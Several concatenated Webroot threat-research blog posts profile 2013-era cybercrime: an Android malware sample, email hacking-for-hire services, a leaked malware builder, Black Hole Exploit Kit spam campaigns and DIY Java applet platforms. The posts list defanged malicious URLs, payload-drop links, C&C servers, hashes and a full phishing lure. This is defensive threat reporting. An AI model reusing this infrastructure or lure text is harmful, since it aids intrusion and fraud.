com.android.launcher.permission.UNINSTALL_SHORTCUT
android.permission.ACCESS_NETWORK_STATE
android.permission.RECEIVE_BOOT_COMPLETED
com.android.alarm.permission.SET_ALARM
android.permission.SYSTEM_ALERT_WINDOW

Used the following features once executed: *android.hardware.wifi android.hardware.telephony android.hardware.touchscreen android.hardware.screen.portrait*

It also connects back to **gaga01.net/rq.php** – 93.170.107.57 – Email: mypiupiu1@gmail.com transmitting the following information back to the cybercriminals behind the operation: ***oard=unknown;brand=generic;device=generic;imei=CENSORED;imsi=CENSORED;session_id=1;operator=XXX;sms0=CENSORED;sms1=CENSORED;sms2=CENSORED;time=CENSORED;timezone=CENSOR ED***

Android users of **Webroot's mobile products** are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Email hacking for hire going mainstream - part three - Webroot Blog

facebook linkedin twitter

Just as **we anticipated** on two occasions in 2012, **managed email hacking for hire services** continue popping-up at publicly accessible cybercrime-friendly communities, a trend that’s largely driven by the demand for such services by unethical competition, “friends”, or current/ex-spouses.

Often pitched as “forgotten password recovery” services, they rely on social engineering, brute-forcing, and spear phishing campaigns, often leading to a successful compromise of a targeted account. Based on the number of positive vouches, the services continue receiving a steady stream off satisfied and verified customers.

In this post, I’ll profile one of the most recently advertised email hacking for hire services, specializing in hacking GMail and Yahoo! accounts, as well as email accounts using popular free Russian email service providers. How much does it cost to hack a Gmail or Yahoo! account? What about corporate email?

Let’s find out.

Sample screenshot of the email hacking for hire service:

The service is also features a catchy video that pitches it’s core features to prospective buyers. What about the prices?

Sample pricing scheme of the email hacking for hire service, offering discounts if customers refer it to friends:

The prices are as follows:

Mail.ru,Bk.ru, Inbox.ru, List.ru – 3000 rubles ($100)
Yander, Rambler – 4000 rubles ($150)
Gmail, Googlemail – 7000 rubles ($230)
Yahoo! Mail – 10,000 rubles ($350)

The main problem about these services is that they often produce the promised results thanks to the victim-tailored spear phishing attempt. In comparison, it will be cost-ineffective for them to

outsource the CAPTCHA-solving process when brute-forcing for popular passwords, a practice we believe is a thing from the past.

Today's QA (Quality Assurance) minded cybercriminals tend to do their best to automatically and efficiently personalize their campaigns in an attempt to increase the probability of a successful malware infection/phishing lead. And while they sometimes manage to prepare a convincing email referencing you by username, perhaps even your full name — which they often obtain through harvesting for contacts on the PC of an infected friend of yours — this is where it all ends, at least for massive spamvertised campaigns.

This leads us to a situation where your "friends", unethical competitors, suspicious/paranoid current/ex spouse will supply the service with crucial details about your personality (from a social engineering perspective), details that will increase the probability of a successful account compromise. The worst part is that the data obtained from first-hand sources, such as people who know you, is indispensable compared to similar data which could be gathered by data mining social networks in an attempt to tailor a spear phishing campaign that's exclusively targeting you.

Email users are advised to be extra cautions when receiving emails that suspiciously "know too much" about them, especially emails sent to them from impersonated parties who might have interest in compromising them, and to use **two-factor authentication** where **applicable** .

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Leaked DIY malware generating tool spotted in the wild - Webroot Blog

facebook linkedin twitter

How easy is it to **create an undetected piece of malware** these days? Too easy to be true!

With more DIY malware botnets and DIY malware generating tools continuing to leak at public cybercrime-friendly forums, today's novice cybercriminals have access to sophisticated point'n'click malware generating tools that were once only available in the arsenal of the experienced cybercriminal.

In this post, I'll profile a recently leaked DIY malware generating tool, discuss its core features, and emphasize on its relevance in the context of the big picture when it comes to ongoing waves of malicious activity we've been monitoring over the years.

More details:

Sample screenshot of the leaked DIY malware generating tool:

The malware generating tool allows potential cybercriminals to tailor their newly generated malware to their specific needs. If they want it to start spreading, they can just turn on the spreading option. If they want it to use targeted attacks, they can choose LAN spreading. They can also enable the option to prevent various antivirus solutions from successfully detecting it, as the malware will detect their presence on the affected hosts, and will either block it, or kill the running processes for the applications of these vendors.

Second screenshot of the leaked DIY malware generating tool:

The DIY tool currently can spread over USB, P2P, LAN, and through RAR files. It is also targeting the following anti-malware tools:

Spybot Search and Destroy
Comodo Antivirus

Sandboxie
Virtual Machine
KeyScrambler
WireShark
Kaspersky
Bitdefender
ZoneAlarm
Anubis
Norman
NOD32

Third screenshot of the leaked DIY malware generating tool:

The tool also allows complete randomization of key components of the malware, so that every time a new piece of malware is generated, it will use different code obfuscation pre-sets.

Fourth screenshot of the leaked DIY malware generating tool:

How important is the public leak of this tool in the context of the big picture?

One of the most common myths about today's modern malware is that it's being coded from scratch. The complete randomization in combination with managed crypting (source code, iFrame, JavaScript etc.) and server-side polymorphism results in massive exploitation campaigns that continue relying on outdated and already patched client-side vulnerabilities as infection vectors.

Don't misunderstand me, **coding malware for hire** has been **available as a service for years** . However, much of today's modern malware is being generated, rather than coded from scratch. **Stuxnet** , **Duqu** , **Flame** , **Red October** are all great example of cyber espionage campaigns where the attackers actually bothered to invest time and resources into coding the malware, utilizing **novel infection vectors** and **zero day vulnerabilities** .

These massively covered cyber sabotage/cyber espionage campaigns resulted in a myopia where people think **targeted attacks** are all about malware coded from scratch. That's not the case on a large scale, as on numerous occasions in the past, **factual evidence** has been presented, indicating that the attackers relied on **publicly obtainable RATs** (Remote Access Tools/Trojans) that they basically obfuscated to fool antivirus scanners.

Bottom line – in 2013 you don't need to know Assembly to generate undetected pieces of malware. **You don't need to utilize zero day vulnerabilities** to infect tens of thousands of people on a daily basis. And in cases where you seek malicious innovation, coding malware for hire services are there to "take care".

We expect that the entry barriers into the world of cybercrime will continue to get lower throughout 2013, contributing to today's mature life cycle of the entire cybercrime ecosystem, and will continue posting updates providing factual evidence for this trend.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals resume spamvertising fake Vodafone 'A new picture or video message' themed emails, serve malware - Webroot Blog

facebook linkedin twitter

Over the past 24 hours, cybercriminals resumed spamvertising fake Vodafone MMS themed emails, in an attempt to trick the company's customers into executing the malicious attachment found in these emails.

More details:

Sample screenshot of the spamvertised email:

Detection rate for the malicious executable: MD5: bafebf4cdf640520e6266eb05b55d7c5 – detected by 21 out of 46 antivirus scanners as Trojan-Downloader.Win32.Andromeda.pfu.

Once executed, the sample creates the following Registry values: *SoftwareMicrosoftWindowsCurrentVersionRunSunJavaUpdateSched* -> "*C:Documents and SettingsAll Userssvchost.exe* "

It also copies itself to other locations, and injects code in other processess.

We intercepted a similar campaign last year, indicating that, depending on the campaign in question, cybercriminals are not always interested in popping up on everyone's radar with persistent and systematic spamvertising of campaigns using identical templates. Instead, some of their campaigns tend to have a rather short-lived life cycle. We believe this practice is entirely based on the click-through rates for malicious URLs and actual statistics on the number of people that executed the malicious samples.

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

'Batch Payment File Declined' EFTPS themed emails lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently mass mailing tens of thousands of emails, impersonating the EFTPS (**Electronic Federal Tax Payment System**), in an attempt to trick its users into clicking on **exploits and malware serving malicious links** found in the emails.

More details:

Sample screenshot of the spamvertised email:

Sample compromised URLs used in the campaign: *hxxp://metalcalhas.com/wp-content/plugins/zhemkaoooeo/eftpssignin.html hxxp://mypaysrochois.com/wp-admin/eftpssignin.html hxxp://stockidentify.com/wp-content/plugins/zhqoovdcsak/eftpssignin.html hxxp://leztroy-restauration.com/wp-admin/eftpssignin.html hxxp://enersol74.fr/wp-admin/eftpssignin.html hxxp://oneummahcoaching.com/wp-content/plugins/zuayeuetvej/eftpssignin.html hxxp://programme-de-piquage.com/images/eftpssignin.html hxxp://menuiserieducrettet.fr/wp-admin/eftpssignin.html hxxp://jurisdictionthemovie.com/wp-content/plugins/zeotyjoeuek/eftpssignin.html hxxp://eqi74.com/site/eftpssignin.html hxxp://programme-de-piquage.com/images/eftpssignin.html hxxp://lesrandonneesauchalet.com/img/eftpssignin.html hxxp://lavoixdubio.com/wp-admin/eftpssignin.html hxxp://order-protandim.com/wp-content/plugins/zeleaqonybg/eftpssignin.html*

Sample client-side exploits serving URLs: *hxxp://linuxreal.net/detects/eftps-gov.php hxxp://foxpoolfrance.net/detects/eftps-gov.php*

Sample malicious payload dropping URL: *hxxp://foxpoolfrance.net/detects/eftps-gov.php?rf=1g:1m:1k:1f:1n&ae=1f:2w:33:1f:1h:32:1m:1h:1m:32&b=1f&wi=d&jl=x*

Upon succcessful clienet-side exploitation, the campaign drops **MD5: d35a52d639468c2c4c857e6629b3f6f0** – detected by 25 out of 46 antivirus scanners as Worm:Win32/Cridex.E.

Once executed, the sample phones back to the following command and control servers:
109.230.229.250:8080/DPNilBA/ue1elBAAAA/tlSHAAAAA
163.23.107.65:8080 174.142.68.239:8080 81.93.250.157:8080
180.235.150.72:8080 109.230.229.70:8080 95.142.167.193:8080
217.65.100.41:8080 188.120.226.30:8080 193.68.82.68:8080
203.217.147.52:8080 210.56.23.100:8080 221.143.48.6:8080
182.237.17.180:8080 59.90.221.6:8080 64.76.19.236:8080
69.64.89.82:8080 173.201.177.77:8080 78.28.120.32:8080
174.120.86.115:8080 74.207.237.170:8080 77.58.193.43:8080
94.20.30.91:8080 84.22.100.108:8080 87.229.26.138:8080
97.74.113.229:8080

We've already seen the same pseudo-random C&C characters used in the following previously profiled malicious campaigns:

Malicious 'Sendspace File Delivery Notifications' lead to Black Hole Exploit Kit 'Please confirm your U.S Airways online registration' themed emails lead to Black Hole Exploit Kit Cybercriminals spamvertise millions of FDIC 'Your activity is discontinued' themed emails, serve client-side exploits and malware Cybercriminals resume spamvertising 'Payroll Account Cancelled by Intuit' themed emails, serve client-side exploits and malware Spamvertised AICPA themed emails serve client-side exploits and malware

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals release automatic CAPTCHA-solving bogus Youtube account generating tool - Webroot Blog

facebook linkedin twitter

For years, thanks to the currently mature human-driven ecosystem offering **CAPTCHA-solving as a service** , cybercriminals have been **persistently and automatically abusing major Web properties** by undermining the "chain of trust" that these properties rely on so extensively.

Still living in a world supposedly dominated by malware-infected bots, this myopia has resulted in the rise of these managed services, rendering any recent CAPTCHA "innovations" useless since they continue relying on humans – the very species that CAPTCHA is supposed to be recognizable by in the first place.

Just how easy is it to automatically register tens of thousands of bogus accounts at, let's say, YouTube? In this post I'll profile a recently released tool that's relying on API keys offered by a CAPTCHA-solving services, automating the account registration process in combination with **the use of malware-infected hosts as proxies** .

More details:

Sample underground market advertisement of the tool:

Sample screenshot of the actual tool:

What's particularly interesting about this tool is the fact that every automatically created bogus account starts following another automatically created bogus account, leading to a self-serving, potentially fraudulent segment of fake users who will inevitably start commenting and liking each other's videos in an attempt to artificially increase their popularity, thereby undermining YouTube's reputation-based system.

The tool currently supports two managed CAPTCHA-solving services, primarily relying on API keys, and credit for a number of solved CAPTCHAs in real-time, which can be purchased from these services. Operating in the open for numerous years, these services are the cornerstone of the success of over a dozen spam tools.

Although one of the services embedded to be used in the tool is currently offline, the other is fully working and is currently using the following price list for prospective buyers:

5000 solved CAPTCHAs for $7
10,000 solved CAPTCHAs for $14
25,000 solved CAPTCHAs for $35
50,000 solved CAPTCHAs for $70
100,000 solved CAPTCHAs for $140

Based on the statistics offered by the service, the average time to solve a CAPTCHA is 9 seconds, with an accuracy rate of 94%, with the service relying entirely on low-waged CAPTCHA-solving employees typically based in developing countries.

We’ll continue monitoring this market segment, and post updates as soon as new developments emerge.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Fake 'ADP Speedy Notifications' lead to client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Over the past week, cybercriminals have resumed spamvertising fake "**ADP Immediate Notifications** " in an attempt to trick users into clicking on the malicious links found in the emails. The links point to the latest version of the **Black Hole Exploit Kit** , and consequently, exploit **CVE-2013-0422** , affecting the latest version of Java.

With no fix for this vulnerability currently available, users are advised to **disable Java immediately** .

More details:

Sample screenshot of the spamvertised email:

Sample compromised URLs participating in the campaign: *hxxp://tasteofindiabombaylounge.com/wp-content/plugins/znditibioux/chkpayroladp.html hxxp://switchedonspeech.com/wp-content/plugins/zalyhvjiose/chkpayroladp.html hxxp://accoformation.com/wp-content/plugins/zkgqchwvioo/chkpayroladp.html hxxp://chevinaudio.com/wp-content/plugins/zeueeewovgu/chkpayroladp.html hxxp://vilmatangalin.com/wp-content/plugins/zoaiecbxuce/chkpayroladp.html hxxp://jscotti.com/wp-content/plugins/zekuopocogo/chkpayroladp.html hxxp://chevinaudio.com/wp-content/plugins/zeueeewovgu/chkpayroladp.html hxxp://trotzlabsusf.com/wp-content/plugins/ztyuugjoiie/chkpayroladp.html hxxp://lose-weight-recipes.com/wp-content/plugins/zeffieyoyre/chkpayroladp.html*

hxxp://chevinaudio.com/wp-content/plugins/zeueeewovgu/chkpayroladp.html
hxxp://peckerala.com/wp-content/plugins/zmjnaoomuwu/chkpayroladp.html
hxxp://ibrillantes.com/wp-content/plugins/zeejqmriief/chkpayroladp.html
hxxp://pailletdebesombes-architectes.com/wp-content/plugins/zhrxidlloea/payrolstatchk.html
hxxp://floridafirstinsurancefl.com/wp-content/plugins/zibeolboqnb/payrolstatchk.html
hxxp://40fingersband.com/wp-content/plugins/zqkeeonkjha/payrolstatchk.html
hxxp://centerlinkmedia.com/wp-content/plugins/zontouobbml/payrolstatchk.html
hxxp://lucilukis.com/wp-content/plugins/zqeibeatobd/payrolstatchk.html
hxxp://pailletdebesombes-architectes.com/wp-content/plugins/zhrxidlloea/payrolstatchk.html
hxxp://jiancerenzheng.com/wp-content/plugins/zoaisnusyoh/payrolstatchk.html *hxxp://usa-corporations.com/wp-content/plugins/zhoodeeoeqe/payrolstatchk.html*
hxxp://fklawchambers.com/wp-content/plugins/zaoqxuuwrlb/payrolstatchk.html

Sample client-side exploits serving URL: *hxxp://tetraboro.net/detects/coming_lost-source.php*

Sample malicious payload dropping URI: *hxxp://tetraboro.net/detects/coming_lost-source.php?huyq=1m:2v:1g:1o:1k&tfize=32&wodyva=33:1k:1o:1n:1f:1i:1m:1i:32:2w&jqrub=1n:1d:1g:1d:1h:1d:1f*

Malicious domain name reconnaissance: tetraboro.net – 222.238.109.66 – Email: bannerpick45@yahoo.com
Name Server: **NS1.HOSTCLAM.NET** – 50.115.163.10
Name Server: **NS2.HOSTCLAM.NET** – 90.167.194.23

Responding to 222.238.109.66 are also the following malicious campaigns part of the campaign:

royalwinnipegballet.net advertizing9.com eartworld.net hotelrosaire.net

Upon successful client-side exploitation, the campaign drops **MD5: 5a859e1eff1ee1576b61da658542380d** – detected by 12 out of 46 antivirus scanners as Worm:Win32/Cridex.E.

The sample drops the following MD5 on the affected hosts: **MD5: 472d6e748b9f5b02700c55cfa3f7be1f** – detected by 8 out of 46 antivirus scanners as PWS:Win32/Fareit

Once executed, it also phones back to the following command and control servers: *173.201.177.77 132.248.49.112 95.142.167.193 81.93.250.157*

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Malicious DIY Java applet distribution platforms going mainstream - Webroot Blog

facebook linkedin twitter

Despite the fact that on the majority of occasions cybercriminals tend to rely on efficient and automated exploitation techniques like the ones utilized by the market leading **Black Hole Exploit Kit** , they are no strangers to good old fashioned 'visual social engineering' tricks. Throughout 2012, we emphasized on the emerging trend of using **malicious DIY Java applet distribution tools** for use in targeted attacks, or widespread campaigns.

Is this still an emerging trend? Let's find out. In this post, I'll profile one of the most recently released DIY Java applet distribution platforms, both version 1.0 and version 2.0.

More details:

Sample description of the platform:

The command and control interface of version 1.0:

The statistics page of version 1.0:

Version 1.0 is offered as a fully managed cybercrime-friendly service, including monitoring of the detection rate for the static JAR applet, and the introduction of a new, undetected JAR applet within the managed service. It also offers the feature to create a clone of any given URL, for the purpose of brandjacking any company or web site, in an attempt to trick the potential victims into thinking that the Java applet is served from a legitimate web site. The package, offered for sale at $30 for a lifetime license, also offers 15 pre-registered domains which the customers can use when launching their attacks. Naturally, they can also use their own domains/servers.

Domains known to have participated in campaigns used by this DIY platform: facebookpassgen.info – Email: kvyn.14@gmail.com
freejavagaming.info – Email: kvyn.14@gmail.com
javawebcamchat.info – Email: kvyn.14@gmail.com

minecraftpassgen.info – Email: kvyn.14@gmail.com
serialsforyou.info – Email: kvyn.14@gmail.com
teengirlslive.info – Email: kvyn.14@gmail.com
runescapeclient.info – Email: kvyn.14@gmail.com
ffxivideos.in – Email: superhero619@gmail.com
javagamesonline.in – Email: superhero619@gmail.com
javavideochat.in – Email: superhero619@gmail.com
freejargames.in – Email: superhero619@gmail.com
javawebchat.in – Email: superhero619@gmail.com

Now let's take a peek at version 2.0, the most recent version of the platform.

Sample command and control interface for version 2.0:

Sample Java Applet served to potential victims:

Running it automatically results in a successful infection, like the following courtesy of a sample tutorial explaining the features of the platform:

As you can see in the attached screenshots, version 2.0 offers two extra features – a Skype IP resolver and a stress tester for a particular web site. The cybercriminals using it have full control over the description of the malicious applet. Thanks to the visually appealing domain names offered by the service, it shouldn't be surprising that a lot of users will fall victims to this one.

We'll continue monitoring the development of this trend, and post updates as soon as new developments emerge.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

'Please confirm your U.S Airways online registration' themed emails lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

In 2012, fake flight reservation confirmations and bogus E-ticket verifications were a popular social engineering theme for cybercriminals. **On numerous** occasions, **we intercepted** related **campaigns** attempting to trick **customers** into clicking on **malicious links** , which ultimately exposed them to the client-side exploits served by the latest version of the Black Hole Exploit Kit.

Apparently, the click-through rates for these campaigns were good enough for cybercriminals to resume spamvertising related campaigns. In this post, I'll profile the most recently spamvertised campaign impersonating U.S Airways.

More details:

Sample screenshot of the spamvertised email:

Sample compromised URLs part of the campaign: *hxxp://sweetsw.com/templates/atomic/ticket_status.html hxxp://toopz.com/templates/atomic/ticket_status.html hxxp://sunshinecoasttackle.com/templates/beez/ticket_status.html hxxp://tj-print.com/templates/atomic/ticket_status.html hxxp://thai-tsam.com/templates/1/ticket_status.html hxxp://thephoenixconsultingfirm.com/templates/beez/ticket_status.html hxxp://thickdickdaddy.com/templates/atomic/ticket_status.html hxxp://tianzhaotian2001.com/templates/atomic/ticket_status.html hxxp://tiendatradiciones.com/templates/beez/ticket_status.html*

Sample client-side exploits serving URL: *hxxp://attachedsignup.pro/detects/links-neck.php*

Sample malicious payload dropping URL: *hxxp://attachedsignup.pro/detects/links-neck.php?rf=1l:2v:1m:32:1j&be=2w:32:2w:1i:1k:30:1g:33:31:1j&d=1f&lh=a&ri=j*

Malicious domain name reconnaissance: attachedsignup.pro – 41.215.225.202 – Email: kee_mckibben0869@macfreak.com

The same email (*kee_mckibben0869@macfreak.com*) was also seen in the following previously profiled malicious campaigns:

Fake 'You have made an Ebay purchase' themed emails lead to client-side exploits and malware Cybercriminals spamvertise millions of FDIC 'Your activity is discontinued' themed emails, serve client-side exploits and malware Cybercriminals resume spamvertising 'Payroll Account Cancelled by Intuit' themed emails, serve client-side exploits and malware

Upon successful client-side exploitation, the campaign drops **MD5: 6f51e309530f8900be935716c3015f58** – detected by 24 out of 46 antivirus scanners as Worm:Win32/Cridex.E

The executable creates the following registry entries: *HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCFBDC89D4 HKEY_CURRENT_USERSoftwareMicrosoftWindows NTS25BC2D7B*

As well as the following mutexes: *LocalXMM000003F8 LocalXMI000003F8 LocalXMRFB119394 LocalXMM000005E4 LocalXMI000005E4 LocalXMM0000009C LocalXMI0000009C LocalXMM000000C8 LocalXMI000000C8*

Once executed, the sample phones back to the following C&C servers: *180.235.150.72:8080/DPNilBA/ue1elBAAAA/tlSHAAAAA/ 174.143.174.136:8080/AJtw/UCyqrDAA/Ud+asDAA/*

We've already seen the same pseudo-random C&C phone back characters used in the following previously profiled malicious campaigns:

Malicious 'Sendspace File Delivery Notifications' lead to Black Hole Exploit Kit Cybercriminals spamvertise millions of FDIC 'Your activity is discontinued' themed emails, serve client-side exploits and malware Cybercriminals resume spamvertising 'Payroll Account Cancelled by Intuit' themed emails, serve client-side exploits and malware Spamvertised AICPA themed emails serve client-side exploits and malware

Fake 'Citi Account Alert' themed emails lead to Black Hole Exploit Kit 'Your Discover Card Services Blockaded' themed emails serve client-side exploits and malware Multiple 'Inter-company' invoice themed campaigns serve malware and client-side exploits

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised AICPA themed emails serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Certified Public Accountants (CPAs) are a common target for cybercriminals. **Throughout** 2012, we **intercepted** several campaigns directly **targeting CPAs** in an attempt to trick them into clicking on the malicious links found in the emails. Once they click on any of the links, they're automatically exposed to the client-side exploits served by the latest version of the **Black Hole Exploit Kit** .

In this post, I'll analyze one of the most recently spamvertised campaigns impersonating **the American Institute of Certified Public Accountants** , also known as AICPA.

More details:

Sample screenshot of the spamvertised email:

Second screenshot of the spamvertised email from the same campaign:

Sample subjects: *Tax return assistance contrivance; Suspension of your CPA license; Revocation of your CPA license; Your accountant license can be end off; Your accountant CPA License Expiration*

Email message: *Valued AICPA participant, We have received a notice of your potential participation in income tax return infringement on behalf of one of your customers. According to AICPA Bylaw Section # 700 your Certified Public Accountant status can be cancelled in case of the event of presenting of a improper or fraudulent income tax return on the member's or a client's behalf. Please be informed of the complaint below and provide explanation of this issue to it within 7 days. The waiver to submit explanation within this period would abide in revokation of your CPA license.*

Sample compromised URLs participating in the campaign: *hxxp://acitcpatiala.com/components/com_ag_google_analytics2/aicp* *ataxcompl.html hxxp://wohnbau-rastatt.com/components/com_ag_google_analytics2/aicpataxcompl.html hxxp://qebelemescidi.com/components/com_ag_google_analytics2/aicpataxcompl.html hxxp://chooum.com/components/com_ag_google_analytics2/aicpataxcompl.html hxxp://kentplus-temizlik.com/components/com_ag_google_analytics2/aicpataxcompl.html hxxp://qebelemescidi.com/components/com_ag_google_analytics2/aicpataxcompl.html hxxp://lexisdei.org/components/com_ag_google_analytics2/taxfraudalert.html hxxp://javaautoparts.com/components/com_ag_google_analytics2/taxfraudalert.html hxxp://lexisdei.org/components/com_ag_google_analytics2/taxfraudalert.html hxxp://irbuild.com/components/com_ag_google_analytics2/taxfraudalert.html hxxp://porsancristobal.com/components/com_ag_google_analytics2/taxfraudalert.html hxxp://investrus.info/components/com_ag_google_analytics2/taxfraudalert.html hxxp://facesittingextrememf.com/components/com_ag_google_analytics2/taxfraudalert.html*

Sample client-side exploits serving URLs: *hxxp://ibertomoralles.org/detects/five-wise_leads_ditto.php hxxp://eaglepointecondo.org/detects/denouncement-reports.php hxxp://eaglepointecondo.co/detects/denouncement-reports.php*

Sample malicious payload dropping URL: *hxxp://eaglepointecondo.org/detects/denouncement-reports.php?qf=1g:2v:33:2v:2w&ve=1o:32:2v:1n:2w:30:1m:1j:32:1m&y=1f&mf=i&om=y*

Upon successful client-side exploitation, the campaign drops **MD5: 5b7aafd9ab99aa2ec0e879a24610844a** – detected by 31 out of 45 antivirus scanners as Worm:Win32/Cridex.E.

Once executed, the sample performs the following actions:

Creates a batch script

Accesses Firefox's Password Manager local database
Creates a thread in a remote process
Installs a program to run automatically at logon

It also drops the following MD5 on the affected hosts: **MD5: 3e2df81077283e5c9d457bf688779773** – detected by 27 out of 45 antivirus scanners as PWS:Win32/Fareit.

It also phones back to the following C&C servers: *hxxp://69.64.89.82:8080/DPNilBA/ue1elBAAAA/tISHAAAAA/ 132.248.49.112 173.192.229.36 64.120.193.112 89.221.242.217 174.143.174.136 209.51.221.247*

We've also seen and profiled the same IP (**132.248.49.112**) in multiple previously analyzed malware campaigns:

'Fwd: Scan from a Xerox W. Pro' themed emails lead to Black Hole Exploit Kit Malicious 'Security Update for Banking Accounts' emails lead to Black Hole Exploit Kit Bogus Facebook 'pending notifications' themed emails serve client-side exploits and malware Bogus 'Intuit Software Order Confirmations' lead to Black Hole Exploit Kit Bogus 'End of August Invoices' themed emails serve malware and client-side exploits 'Copies of Missing EPLI Policies' themed emails lead to Black Hole Exploit Kit Spamvertised 'Fwd: Scan from a Hewlett-Packard ScanJet' emails lead to Black Hole exploit kit Cybercriminals impersonate Intuit Market, mass mail millions of exploits and malware serving emails Fake 'UPS Delivery Confirmation Failed' themed emails lead to Black Hole Exploit Kit Fake 'Flight Reservation Confirmations' themed emails lead to Black Hole Exploit Kit Multiple 'Inter-company' invoice themed campaigns serve malware and client-side exploits Malicious 'Sendspace File Delivery Notifications' lead to Black Hole Exploit Kit Cybercriminals spamvertise bogus 'Microsoft License Orders' serve client-side exploits and malware Spamvertised 'Wire Transfer Confirmation' themed emails lead to Black Hole exploit kit Cybercriminals impersonate UPS, serve client-side exploits and malware

Upon execution, the sample also creates the following mutexes: *LocalXMM000005D4 SHIMLIB_LOG_MUTEX LocalXMM00000264 LocalXMQ426FB97F LocalXMM000001D0*

and the following Registry Keys: *REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareMicrosoftWindows NTCBA6D3F36 REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareMicrosoftWindows NTS9CC20790*

Malicious domain names reconnaissance: eaglepointecondo.org – 59.57.247.185
Name Server:**NS1.AMISHSHOPPE.NET** – 84.32.116.189 – Email: solaradvent@yahoo.com
Name Server:**NS2.AMISHSHOPPE.NET** – 211.27.42.138 – Email:

eaglepointecondo.co – 59.57.247.185
Name Server:**NS1.AMISHSHOPPE.NET** – 84.32.116.189 – Email: solaradvent@yahoo.com
Name Server:**NS2.AMISHSHOPPE.NET** – 211.27.42.138 – Email: solaradvent@yahoo.com

ibertomoralles.org – Email: rick.baxter@costcontrolsoftware.com

Responding to the same IP (**59.57.247.185**) in the time of posting this analysis are also the following malicious domains:
moid.pl
securityday.pl pleansantwille.com labpr.com ibertomoralles.com shopgreatvideonax.com eaglepointecondo.co zindt.net naky.net svictrorymedia.ru ygsecured.ru romoviebabenki.ru robertokarlosskiy.su africanbeat.net incinteractive.net lloydstsb-offshoren.com sessionid0147239047829578349578239077.pl

We’ve already seen the same name servers (**NS1.AMISHSHOPPE.NET** ; **NS2.AMISHSHOPPE.NET**) used in the following previously profiled campaigns, indicating that all of these campaigns have been launched by the same malicious party.

Fake BBB (Better Business Bureau) Notifications lead to Black Hole Exploit Kit Spamvertised ‘Your Recent eBill from Verizon Wireless’ themed emails serve client-side exploits and malware Fake ‘Citi Account Alert’ themed emails lead to Black Hole Exploit Kit

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Black Hole Exploit Kit author's 'vertical market integration' fuels growth in malicious Web activity - Webroot Blog

facebook linkedin twitter

Historical cybercrime performance activity of multiple gangs and individuals has shown us that, in order for them to secure multiple revenue streams, they have the tendency to multi-task on multiple fronts while operating and serving the needs of customers within different cybercrime-friendly market segments.

A logical question emerges in the context of the fact that 99% of all the spamvertised campaigns we're currently intercepting rely on the latest version of the **Black Hole Exploit Kit** – is Paunch, the author of the kit, multi-tasking as well? What's the overall impact of his '**vertical market integration** ' practices across the Web beyond maintaining the largest market share of malicious activity in regard to Web malware exploitation kits?

Let's find out by discussing two of his well known revenue sources and sample a campaign that's relying on the managed iFrame/Javascript crypting/obfuscating service that he's also operating.

More details:

Sample advertisement for the iFrame/Javascript crypting/obfuscating service operated by Paunch, within the kit's control panel:

